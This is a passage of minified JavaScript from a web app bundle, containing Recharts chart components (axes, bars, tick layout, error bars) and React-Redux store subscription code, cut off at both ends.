this.scale.bandwidth}apply(t){var{bandAware:n,position:r}=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t!==void 0){if(r)switch(r){case"start":return this.scale(t);case"middle":{var i=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+i}case"end":{var l=this.bandwidth?this.bandwidth():0;return this.scale(t)+l}default:return this.scale(t)}if(n){var c=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+c}return this.scale(t)}}isInRange(t){var n=this.range(),r=n[0],i=n[n.length-1];return r<=i?t>=r&&t<=i:t>=i&&t<=r}}rae(V1,"EPS",1e-4);function oae(e){return(e%180+180)%180}var lae=function(t){var{width:n,height:r}=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,l=oae(i),c=l*Math.PI/180,u=Math.atan(r/n),f=c>u&&c{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Sr(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Sr(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Sr(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:jue,removeDot:Pue,addArea:Rue,removeArea:Due,addLine:kue,removeLine:Lue}=hI.actions,cae=hI.reducer,uae=v.createContext(void 0),fae=e=>{var{children:t}=e,[n]=v.useState("".concat(Ac("recharts"),"-clip")),r=uI();if(r==null)return null;var{x:i,y:l,width:c,height:u}=r;return v.createElement(uae.Provider,{value:n},v.createElement("defs",null,v.createElement("clipPath",{id:n},v.createElement("rect",{x:i,y:l,height:u,width:c}))),t)};function pI(e,t){if(t<1)return[];if(t===1)return e;for(var n=[],r=0;re*i)return!1;var l=n();return e*(t-e*l/2-r)>=0&&e*(t+e*l/2-i)<=0}function pae(e,t){return pI(e,t+1)}function mae(e,t,n,r,i){for(var l=(r||[]).slice(),{start:c,end:u}=t,f=0,h=1,p=c,m=function(){var S=r?.[f];if(S===void 0)return{v:pI(r,h)};var w=f,O,A=()=>(O===void 0&&(O=n(S,w)),O),_=S.coordinate,T=f===0||$c(e,_,A,p,u);T||(f=0,p=c,h+=1),T&&(p=_+e*(A()/2+i),f+=h)},y;h<=l.length;)if(y=m(),y)return y.v;return[]}function vae(e,t,n,r,i){var l=(r||[]).slice(),c=l.length;if(c===0)return[];for(var{start:u,end:f}=t,h=1;h<=c;h++){for(var p=(c-1)%h,m=u,y=!0,x=function(){var _=r[S],T=S,j,M=()=>(j===void 0&&(j=n(_,T)),j),P=_.coordinate,R=S===p||$c(e,P,M,m,f);if(!R)return y=!1,1;R&&(m=P+e*(M()/2+i))},S=p;S(S===void 0&&(S=n(x,y)),S);if(y===c-1){var O=e*(x.coordinate+e*w()/2-f);l[y]=x=rn(rn({},x),{},{tickCoord:O>0?x.coordinate-O*e:x.coordinate})}else l[y]=x=rn(rn({},x),{},{tickCoord:x.coordinate});if(x.tickCoord!=null){var A=$c(e,x.tickCoord,w,u,f);A&&(f=x.tickCoord-e*(w()/2+i),l[y]=rn(rn({},x),{},{isShow:!0}))}},p=c-1;p>=0;p--)h(p);return l}function wae(e,t,n,r,i,l){var c=(r||[]).slice(),u=c.length,{start:f,end:h}=t;if(l){var p=r[u-1],m=n(p,u-1),y=e*(p.coordinate+e*m/2-h);if(c[u-1]=p=rn(rn({},p),{},{tickCoord:y>0?p.coordinate-y*e:p.coordinate}),p.tickCoord!=null){var x=$c(e,p.tickCoord,()=>m,f,h);x&&(h=p.tickCoord-e*(m/2+i),c[u-1]=rn(rn({},p),{},{isShow:!0}))}}for(var S=l?u-1:u,w=function(_){var T=c[_],j,M=()=>(j===void 0&&(j=n(T,_)),j);if(_===0){var P=e*(T.coordinate-e*M()/2-f);c[_]=T=rn(rn({},T),{},{tickCoord:P<0?T.coordinate-P*e:T.coordinate})}else c[_]=T=rn(rn({},T),{},{tickCoord:T.coordinate});if(T.tickCoord!=null){var R=$c(e,T.tickCoord,M,f,h);R&&(f=T.tickCoord+e*(M()/2+i),c[_]=rn(rn({},T),{},{isShow:!0}))}},O=0;O{var M=typeof h=="function"?h(T.value,j):T.value;return S==="width"?dae(bc(M,{fontSize:t,letterSpacing:n}),w,m):bc(M,{fontSize:t,letterSpacing:n})[S]},A=i.length>=2?tn(i[1].coordinate-i[0].coordinate):1,_=hae(l,A,S);return f==="equidistantPreserveStart"?mae(A,_,O,i,c):f==="equidistantPreserveEnd"?vae(A,_,O,i,c):(f==="preserveStart"||f==="preserveStartEnd"?x=wae(A,_,O,i,c,f==="preserveStartEnd"):x=xae(A,_,O,i,c),x.filter(T=>T.isShow))}var Oae=e=>{var{ticks:t,label:n,labelGapWithTick:r=5,tickSize:i=0,tickMargin:l=0}=e,c=0;if(t){Array.from(t).forEach(p=>{if(p){var m=p.getBoundingClientRect();m.width>c&&(c=m.width)}});var u=n?n.getBoundingClientRect().width:0,f=i+l,h=c+f+u+(n?r:0);return Math.round(h)}return 0},Eae=["axisLine","width","height","className","hide","ticks","axisType"];function Aae(e,t){if(e==null)return{};var n,r,i=Cae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{ticks:n=[],tick:r,tickLine:i,stroke:l,tickFormatter:c,unit:u,padding:f,tickTextProps:h,orientation:p,mirror:m,x:y,y:x,width:S,height:w,tickSize:O,tickMargin:A,fontSize:_,letterSpacing:T,getTicksConfig:j,events:M,axisType:P}=e,R=Sae(Tt(Tt({},j),{},{ticks:n}),_,T),I=Pae(p,m),B=Rae(p,m),q=Ur(j),U=Ec(r),V={};typeof i=="object"&&(V=i);var oe=Tt(Tt({},q),{},{fill:"none"},V),le=R.map(F=>Tt({entry:F},jae(F,y,x,S,w,p,O,m,A))),ce=le.map(F=>{var{entry:$,line:Z}=F;return v.createElement(fn,{className:"recharts-cartesian-axis-tick",key:"tick-".concat($.value,"-").concat($.coordinate,"-").concat($.tickCoord)},i&&v.createElement("line",go({},oe,Z,{className:Ye("recharts-cartesian-axis-tick-line",co(i,"className"))})))}),L=le.map((F,$)=>{var{entry:Z,tick:de}=F,D=Tt(Tt(Tt(Tt({textAnchor:I,verticalAnchor:B},q),{},{stroke:"none",fill:l},U),de),{},{index:$,payload:Z,visibleTicksCount:R.length,tickFormatter:c,padding:f},h);return v.createElement(fn,go({className:"recharts-cartesian-axis-tick-label",key:"tick-label-".concat(Z.value,"-").concat(Z.coordinate,"-").concat(Z.tickCoord)},Wh(M,Z,$)),r&&v.createElement(Dae,{option:r,tickProps:D,value:"".concat(typeof c=="function"?c(Z.value,$):Z.value).concat(u||"")}))});return v.createElement("g",{className:"recharts-cartesian-axis-ticks recharts-".concat(P,"-ticks")},L.length>0&&v.createElement(Gr,{zIndex:an.label},v.createElement("g",{className:"recharts-cartesian-axis-tick-labels recharts-".concat(P,"-tick-labels"),ref:t},L)),ce.length>0&&v.createElement("g",{className:"recharts-cartesian-axis-tick-lines recharts-".concat(P,"-tick-lines")},ce))}),Lae=v.forwardRef((e,t)=>{var{axisLine:n,width:r,height:i,className:l,hide:c,ticks:u,axisType:f}=e,h=Aae(e,Eae),[p,m]=v.useState(""),[y,x]=v.useState(""),S=v.useRef(null);v.useImperativeHandle(t,()=>({getCalculatedWidth:()=>{var O;return Oae({ticks:S.current,label:(O=e.labelRef)===null||O===void 0?void 0:O.current,labelGapWithTick:5,tickSize:e.tickSize,tickMargin:e.tickMargin})}}));var w=v.useCallback(O=>{if(O){var A=O.getElementsByClassName("recharts-cartesian-axis-tick-value");S.current=A;var _=A[0];if(_){var T=window.getComputedStyle(_),j=T.fontSize,M=T.letterSpacing;(j!==p||M!==y)&&(m(j),x(M))}}},[p,y]);return c||r!=null&&r<=0||i!=null&&i<=0?null:v.createElement(Gr,{zIndex:e.zIndex},v.createElement(fn,{className:Ye("recharts-cartesian-axis",l)},v.createElement(Mae,{x:e.x,y:e.y,width:r,height:i,orientation:e.orientation,mirror:e.mirror,axisLine:n,otherSvgProps:Ur(e)}),v.createElement(kae,{ref:w,axisType:f,events:h,fontSize:p,getTicksConfig:e,height:e.height,letterSpacing:y,mirror:e.mirror,orientation:e.orientation,padding:e.padding,stroke:e.stroke,tick:e.tick,tickFormatter:e.tickFormatter,tickLine:e.tickLine,tickMargin:e.tickMargin,tickSize:e.tickSize,tickTextProps:e.tickTextProps,ticks:u,unit:e.unit,width:e.width,x:e.x,y:e.y}),v.createElement(Bte,{x:e.x,y:e.y,width:e.width,height:e.height,lowerWidth:e.width,upperWidth:e.width},v.createElement(Xte,{label:e.label,labelRef:e.labelRef}),e.children)))}),K1=v.forwardRef((e,t)=>{var n=pn(e,ro);return v.createElement(Lae,go({},n,{ref:t}))});K1.displayName="CartesianAxis";var Iae={},mI=An({name:"errorBars",initialState:Iae,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(l=>l.dataKey===r.dataKey&&l.direction===r.direction?i:l))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:Iue,replaceErrorBar:zue,removeErrorBar:$ue}=mI.actions,zae=mI.reducer,$ae=["children"];function Bae(e,t){if(e==null)return{};var n,r,i=Uae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r({x:0,y:0,value:0}),errorBarOffset:0},qae=v.createContext(Hae);function Fae(e){var{children:t}=e,n=Bae(e,$ae);return v.createElement(qae.Provider,{value:n},t)}function vI(e,t){var n,r,i=we(h=>La(h,e)),l=we(h=>Ia(h,t)),c=(n=i?.allowDataOverflow)!==null&&n!==void 0?n:Ut.allowDataOverflow,u=(r=l?.allowDataOverflow)!==null&&r!==void 0?r:Ht.allowDataOverflow,f=c||u;return{needClip:f,needClipX:c,needClipY:u}}function Vae(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=uI(),{needClipX:l,needClipY:c,needClip:u}=vI(t,n);if(!u||!i)return null;var{x:f,y:h,width:p,height:m}=i;return v.createElement("clipPath",{id:"clipPath-".concat(r)},v.createElement("rect",{x:l?f:f-p/2,y:c?h:h-m/2,width:l?p:p*2,height:c?m:m*2}))}var e0={exports:{}},t0={};var U2;function Kae(){if(U2)return t0;U2=1;var e=Ul();function t(f,h){return f===h&&(f!==0||1/f===1/h)||f!==f&&h!==h}var n=typeof Object.is=="function"?Object.is:t,r=e.useSyncExternalStore,i=e.useRef,l=e.useEffect,c=e.useMemo,u=e.useDebugValue;return t0.useSyncExternalStoreWithSelector=function(f,h,p,m,y){var x=i(null);if(x.current===null){var S={hasValue:!1,value:null};x.current=S}else S=x.current;x=c(function(){function O(M){if(!A){if(A=!0,_=M,M=m(M),y!==void 0&&S.hasValue){var P=S.value;if(y(P,M))return T=P}return T=M}if(P=T,n(_,M))return P;var R=m(M);return y!==void 0&&y(P,R)?(_=M,P):(_=M,T=R)}var A=!1,_,T,j=p===void 0?null:p;return[function(){return O(h())},j===null?void 0:function(){return O(j())}]},[h,p,m,y]);var w=r(f,x[0],x[1]);return l(function(){S.hasValue=!0,S.value=w},[w]),u(w),w},t0}var H2;function Yae(){return H2||(H2=1,e0.exports=Kae()),e0.exports}Yae();function Gae(e){e()}function Wae(){let e=null,t=null;return{clear(){e=null,t=null},notify(){Gae(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var q2={notify(){},get:()=>[]};function Xae(e,t){let n,r=q2,i=0,l=!1;function c(w){p();const O=r.subscribe(w);let A=!1;return()=>{A||(A=!0,O(),m())}}function u(){r.notify()}function f(){S.onStateChange&&S.onStateChange()}function h(){return l}function p(){i++,n||(n=e.subscribe(f),r=Wae())}function m(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=q2)}function y(){l||(l=!0,p())}function x(){l&&(l=!1,m())}const S={addNestedSub:c,notifyNestedSubs:u,handleChangeWrapper:f,isSubscribed:h,trySubscribe:y,tryUnsubscribe:x,getListeners:()=>r};return S}var Zae=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Qae=Zae(),Jae=()=>typeof navigator<"u"&&navigator.product==="ReactNative",eie=Jae(),tie=()=>Qae||eie?v.useLayoutEffect:v.useEffect,nie=tie();function F2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function rie(e,t){if(F2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const f=Xae(i);return{store:i,subscription:f,getServerState:r?()=>r:void 0}},[i,r]),c=v.useMemo(()=>i.getState(),[i]);nie(()=>{const{subscription:f}=l;return f.onStateChange=f.notifyNestedSubs,f.trySubscribe(),c!==i.getState()&&f.notifyNestedSubs(),()=>{f.tryUnsubscribe(),f.onStateChange=void 0}},[l,c]);const u=n||lie;return v.createElement(u.Provider,{value:l},t)}var cie=sie,uie=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fie(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Y1(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(uie.has(r)){if(e[r]==null&&t[r]==null)continue;if(!rie(e[r],t[r]))return!1}else if(!fie(e[r],t[r]))return!1;return!0}function Ao(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:sI}function Co(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:sI}var die="Invariant failed";function hie(e,t){throw new Error(die)}function vb(){return vb=Object.assign?Object.assign.bind():function(e){for(var t=1;t1&&arguments[1]!==void 0?arguments[1]:0;return(r,i)=>{if(Oe(t))return t;var l=Oe(r)||Vt(r);return l?t(r,i):(l||hie(),n)}},mie=(e,t,n)=>n,vie=(e,t)=>t,pu=G([l1,vie],(e,t)=>e.filter(n=>n.type==="bar").find(n=>n.id===t)),gie=G([pu],e=>e?.maxBarSize),yie=(e,t,n,r)=>r,bie=G([Fe,l1,Ao,Co,mie],(e,t,n,r,i)=>t.filter(l=>e==="horizontal"?l.xAxisId===n:l.yAxisId===r).filter(l=>l.isPanorama===i).filter(l=>l.hide===!1).filter(l=>l.type==="bar")),xie=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null))return r==="horizontal"?cb(e,"yAxis",l,n):cb(e,"xAxis",i,n)},wie=(e,t)=>{var n=Fe(e),r=Ao(e,t),i=Co(e,t);if(!(r==null||i==null))return n==="horizontal"?DN(e,"xAxis",r):DN(e,"yAxis",i)},Sie=G([bie,UZ,wie],Gre),Oie=(e,t,n)=>{var r,i,l=pu(e,t);if(l!=null){var c=Ao(e,t),u=Co(e,t);if(!(c==null||u==null)){var f=Fe(e),h=jk(e),{maxBarSize:p}=l,m=Vt(p)?h:p,y,x;return f==="horizontal"?(y=Bl(e,"xAxis",c,n),x=$l(e,"xAxis",c,n)):(y=Bl(e,"yAxis",u,n),x=$l(e,"yAxis",u,n)),(r=(i=qd(y,x,!0))!==null&&i!==void 0?i:m)!==null&&r!==void 0?r:0}}},gI=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null)){var c,u;return r==="horizontal"?(c=Bl(e,"xAxis",i,n),u=$l(e,"xAxis",i,n)):(c=Bl(e,"yAxis",l,n),u=$l(e,"yAxis",l,n)),qd(c,u)}},Eie=G([Sie,jk,BZ,Pk,Oie,gI,gie],Jre),Aie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return Bl(e,"xAxis",r,n)},Cie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return Bl(e,"yAxis",r,n)},_ie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return $l(e,"xAxis",r,n)},Tie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return $l(e,"yAxis",r,n)},Nie=G([Eie,pu],(e,t)=>{if(!(e==null||t==null)){var n=e.find(r=>r.stackId===t.stackId&&t.dataKey!=null&&r.dataKeys.includes(t.dataKey));if(n!=null)return n.position}}),Mie=G([xie,pu],eae),jie=G([kt,Sx,Aie,Cie,_ie,Tie,Nie,Fe,TZ,gI,Mie,pu,yie],(e,t,n,r,i,l,c,u,f,h,p,m,y)=>{var{chartData:x,dataStartIndex:S,dataEndIndex:w}=f;if(!(m==null||c==null||t==null||u!=="horizontal"&&u!=="vertical"||n==null||r==null||i==null||l==null||h==null)){var{data:O}=m,A;if(O!=null&&O.length>0?A=O:A=x?.slice(S,w+1),A!=null)return ooe({layout:u,barSettings:m,pos:c,parentViewBox:t,bandSize:h,xAxis:n,yAxis:r,xAxisTicks:i,yAxisTicks:l,stackedData:p,displayedData:A,offset:e,cells:y,dataStartIndex:S})}}),Pie=["index"];function gb(){return gb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t=v.useContext(yI);if(t!=null)return t.stackId;if(e!=null)return RK(e)},Lie=(e,t)=>"recharts-bar-stack-clip-path-".concat(e,"-").concat(t),Iie=e=>{var t=v.useContext(yI);if(t!=null){var{stackId:n}=t;return"url(#".concat(Lie(n,e),")")}},zie=e=>{var{index:t}=e,n=Rie(e,Pie),r=Iie(t);return v.createElement(fn,gb({className:"recharts-bar-stack-layer",clipPath:r},n))},$ie=["onMouseEnter","onMouseLeave","onClick"],Bie=["value","background","tooltipPosition"],Uie=["id"],Hie=["onMouseEnter","onClick","onMouseLeave"];function Ma(){return Ma=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,fill:r,legendType:i,hide:l}=e;return[{inactive:l,dataKey:t,type:i,color:r,value:ip(n,t),payload:e}]},Gie=v.memo(e=>{var{dataKey:t,stroke:n,strokeWidth:r,fill:i,name:l,hide:c,unit:u,tooltipType:f,id:h}=e,p={dataDefinedOnItem:void 0,positions:void 0,settings:{stroke:n,strokeWidth:r,fill:i,dataKey:t,nameKey:void 0,name:ip(l,t),hide:c,type:f,color:i,unit:u,graphicalItemId:h}};return v.createElement(iI,{tooltipEntrySettings:p})});function Wie(e){var t=we(mo),{data:n,dataKey:r,background:i,allOtherBarProps:l}=e,{onMouseEnter:c,onMouseLeave:u,onClick:f}=l,h=mh(l,$ie),p=U1(c,r,l.id),m=H1(u),y=q1(f,r,l.id);if(!i||n==null)return null;var x=Ec(i);return v.createElement(Gr,{zIndex:tae(i,an.barBackground)},n.map((S,w)=>{var{value:O,background:A,tooltipPosition:_}=S,T=mh(S,Bie);if(!A)return null;var j=p(S,w),M=m(S,w),P=y(S,w),R=cn(cn(cn(cn(cn({option:i,isActive:String(w)===t},T),{},{fill:"#eee"},A),x),Wh(h,S,w)),{},{onMouseEnter:j,onMouseLeave:M,onClick:P,dataKey:r,index:w,className:"recharts-bar-background-rectangle"});return v.createElement(ph,Ma({key:"background-bar-".concat(w)},R))}))}function Xie(e){var{showLabels:t,children:n,rects:r}=e,i=r?.map(l=>{var c={x:l.x,y:l.y,width:l.width,lowerWidth:l.width,upperWidth:l.width,height:l.height};return cn(cn({},c),{},{value:l.value,payload:l.payload,parentViewBox:l.parentViewBox,viewBox:c,fill:l.fill})});return v.createElement(lne,{value:t?i:void 0},n)}function Zie(e){var{shape:t,activeBar:n,baseProps:r,entry:i,index:l,dataKey:c}=e,u=we(mo),f=we(P1),h=n&&String(l)===u&&(f==null||c===f),p=h?n:t;return h?v.createElement(Gr,{zIndex:an.activeBar},v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))):v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))}function Qie(e){var{shape:t,baseProps:n,entry:r,index:i,dataKey:l}=e;return v.createElement(ph,Ma({},n,{name:String(n.name)},r,{isActive:!1,option:t,index:i,dataKey:l}))}function Jie(e){var t,{data:n,props:r}=e,i=(t=Ur(r))!==null&&t!==void 0?t:{},{id:l}=i,c=mh(i,Uie),{shape:u,dataKey:f,activeBar:h}=r,{onMouseEnter:p,onClick:m,onMouseLeave:y}=r,x=mh(r,Hie),S=U1(p,f,l),w=H1(y),O=q1(m,f,l);return n?v.createElement(v.Fragment,null,n.map((A,_)=>v.createElement(zie,Ma({index:_,key:"rectangle-".concat(A?.x,"-").concat(A?.y,"-").concat(A?.value,"-").concat(_),className:"recharts-bar-rectangle"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),h?v.createElement(Zie,{shape:u,activeBar:h,baseProps:c,entry:A,index:_,dataKey:f}):v.createElement(Qie,{shape:u,baseProps:c,entry:A,index:_,dataKey:f})))):null}function eoe(e){var{props:t,previousRectanglesRef:n}=e,{data:r,layout:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,onAnimationEnd:h,onAnimationStart:p}=t,m=n.current,y=gp(t,"recharts-bar-"),[x,S]=v.useState(!1),w=!x,O=v.useCallback(()=>{typeof h=="function"&&h(),S(!1)},[h]),A=v.useCallback(()=>{typeof p=="function"&&p(),S(!0)},[p]);return v.createElement(Xie,{showLabels:w,rects:r},v.createElement(vp,{animationId:y,begin:c,duration:u,isActive:l,easing:f,onAnimationEnd:O,onAnimationStart:A,key:y},_=>{var T=_===1?r:r?.map((j,M)=>{var P=m&&m[M];if(P)return cn(cn({},j),{},{x:Rt(P.x,j.x,_),y:Rt(P.y,j.y,_),width:Rt(P.width,j.width,_),height:Rt(P.height,j.height,_)});if(i==="horizontal"){var R=Rt(0,j.height,_),I=Rt(j.stackedBarStart,j.y,_);return cn(cn({},j),{},{y:I,height:R})}var B=Rt(0,j.width,_),q=Rt(j.stackedBarStart,j.x,_);return cn(cn({},j),{},{width:B,x:q})});return _>0&&(n.current=T??null),T==null?null:v.createElement(fn,null,v.createElement(Jie,{props:t,data:T}))}),v.createElement(QL,{label:t.label}),t.children)}function toe(e){var t=v.useRef(null);return v.createElement(eoe,{previousRectanglesRef:t,props:e})}var bI=0,noe=(e,t)=>{var n=Array.isArray(e.value)?e.value[1]:e.value;return{x:e.x,y:e.y,value:n,errorVal:lt(e,t)}};class roe extends v.PureComponent{render(){var{hide:t,data:n,dataKey:r,className:i,xAxisId:l,yAxisId:c,needClip:u,background:f,id:h}=this.props;if(t||n==null)return null;var p=Ye("recharts-bar",i),m=h;return v.createElement(fn,{className:p,id:h},u&&v.createElement("defs",null,v.createElement(Vae,{clipPathId:m,xAxisId:l,yAxisId:c})),v.createElement(fn,{className:"recharts-bar-rectangles",clipPath:u?"url(#clipPath-".concat(m,")"):void 0},v.createElement(Wie,{data:n,dataKey:r,background:f,allOtherBarProps:this.props}),v.createElement(toe,this.props)))}}var aoe={activeBar:!1,animationBegin:0,animationDuration:400,animationEasing:"ease",background:!1,hide:!1,isAnimationActive:"auto",label:!1,legendType:"rect",minPointSize:bI,xAxisId:0,yAxisId:0,zIndex:an.bar};function ioe(e){var{xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p}=e,{needClip:m}=vI(t,n),y=Jc(),x=Vn(),S=B1(e.children,vo),w=we(_=>jie(_,e.id,x,S));if(y!=="vertical"&&y!=="horizontal")return null;var O,A=w?.[0];return A==null||A.height==null||A.width==null?O=0:O=y==="vertical"?A.height/2:A.width/2,v.createElement(Fae,{xAxisId:t,yAxisId:n,data:w,dataPointFormatter:noe,errorBarOffset:O},v.createElement(roe,Ma({},e,{layout:y,needClip:m,data:w,xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p})))}function ooe(e){var{layout:t,barSettings:{dataKey:n,minPointSize:r},pos:i,bandSize:l,xAxis:c,yAxis:u,xAxisTicks:f,yAxisTicks:h,stackedData:p,displayedData:m,offset:y,cells:x,parentViewBox:S,dataStartIndex:w}=e,O=t==="horizontal"?u:c,A=p?O.scale.domain():null,_=DK({numericAxis:O}),T=O.scale(_);return m.map((j,M)=>{var P,R,I,B,q,U;if(p){var V=p[M+w];if(V==null)return null;P=TK(V,A)}else P=lt(j,n),Array.isArray(P)||(P=[_,P]);var oe=pie(r,bI)(P[1],M);if(t==="horizontal"){var le,[ce,L]=[u.scale(P[0]),u.scale(P[1])];R=$_({axis:c,ticks:f,bandSize:l,offset:i.offset,entry:j,index:M}),I=(le=L??ce)!==null&&le!==void 0?le:void 0,B=i.size;var F=ce-L;if(q=Hr(F)?0:F,U={x:R,y:y.top,width:B,height:y.height},Math.abs(oe)>0&&Math.abs(q)0&&Math.abs(B)v.createElement(v.Fragment,null,v.createElement(Yne,{legendPayload:Yie(t)}),v.createElement(Gie,{dataKey:t.dataKey,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:i}),v.createElement(lre,{type:"bar",id:i,data:void 0,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,dataKey:t.dataKey,stackId:n,hide:t.hide,barSize:t.barSize,minPointSize:t.minPointSize,maxBarSize:t.maxBarSize,isPanorama:r}),v.createElement(Gr,{zIndex:t.zIndex},v.createElement(ioe,Ma({},t,{id:i})))))}var xI=v.memo(loe,Y1);xI.displayName="Bar";var soe=["domain","range"],coe=["domain","range"];function K2(e,t){if(e==null)return{};var n,r,i=uoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{n.current===null?t(zre(e)):n.current!==e&&t($re({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(Bre(n.current)),n.current=null)},[t]),null}var moe=e=>{var{xAxisId:t,className:n}=e,r=we(Sx),i=Vn(),l="xAxis",c=we(A=>uL(A,l,t,i)),u=we(A=>oL(A,t)),f=we(A=>zQ(A,t)),h=we(A=>Uk(A,t));if(u==null||f==null||h==null)return null;var{dangerouslySetInnerHTML:p,ticks:m,scale:y}=e,x=G2(e,foe),{id:S,scale:w}=h,O=G2(h,doe);return v.createElement(K1,yb({},x,O,{x:f.x,y:f.y,width:u.width,height:u.height,className:Ye("recharts-".concat(l," ").concat(l),n),viewBox:r,ticks:c,axisType:l}))},voe={allowDataOverflow:Ut.allowDataOverflow,allowDecimals:Ut.allowDecimals,allowDuplicatedCategory:Ut.allowDuplicatedCategory,angle:Ut.angle,axisLine:ro.axisLine,height:Ut.height,hide:!1,includeHidden:Ut.includeHidden,interval:Ut.interval,minTickGap:Ut.minTickGap,mirror:Ut.mirror,orientation:Ut.orientation,padding:Ut.padding,reversed:Ut.reversed,scale:Ut.scale,tick:Ut.tick,tickCount:Ut.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ut.type,xAxisId:0},goe=e=>{var t=pn(e,voe);return v.createElement(v.Fragment,null,v.createElement(poe,{allowDataOverflow:t.allowDataOverflow,allowDecimals:t.allowDecimals,allowDuplicatedCategory:t.allowDuplicatedCategory,angle:t.angle,dataKey:t.dataKey,domain:t.domain,height:t.height,hide:t.hide,id:t.xAxisId,includeHidden:t.includeHidden,interval:t.interval,minTickGap:t.minTickGap,mirror:t.mirror,name:t.name,orientation:t.orientation,padding:t.padding,reversed:t.reversed,scale:t.scale,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit}),v.createElement(moe,t))},SI=v.memo(goe,wI);SI.displayName="XAxis";var yoe=["dangerouslySetInnerHTML","ticks","scale"],boe=["id","scale"];function bb(){return bb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{n.current===null?t(Ure(e)):n.current!==e&&t(Hre({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(qre(n.current)),n.current=null)},[t]),null}var Soe=e=>{var{yAxisId:t,className:n,width:r,label:i}=e,l=v.useRef(null),c=v.useRef(null),u=we(Sx),f=Vn(),h=ft(),p="yAxis",m=we(P=>lL(P,t)),y=we(P=>BQ(P,t)),x=we(P=>uL(P,p,t,f)),S=we(P=>Hk(P,t));if(v.useLayoutEffect(()=>{if(!(r!=="auto"||!m||I1(i)||v.isValidElement(i)||S==null)){var P=l.current;if(P){var R=P.getCalculatedWidth();Math.round(m.width)!==Math.round(R)&&h(Fre({id:t,width:R}))}}},[x,m,h,i,t,r,S]),m==null||y==null||S==null)return null;var{dangerouslySetInnerHTML:w,ticks:O,scale:A}=e,_=W2(e,yoe),{id:T,scale:j}=S,M=W2(S,boe);return v.createElement(K1,bb({},_,M,{ref:l,labelRef:c,x:y.x,y:y.y,tickTextProps:r==="auto"?{width:void 0}:{width:r},width:m.width,height:m.height,className:Ye("recharts-".concat(p," 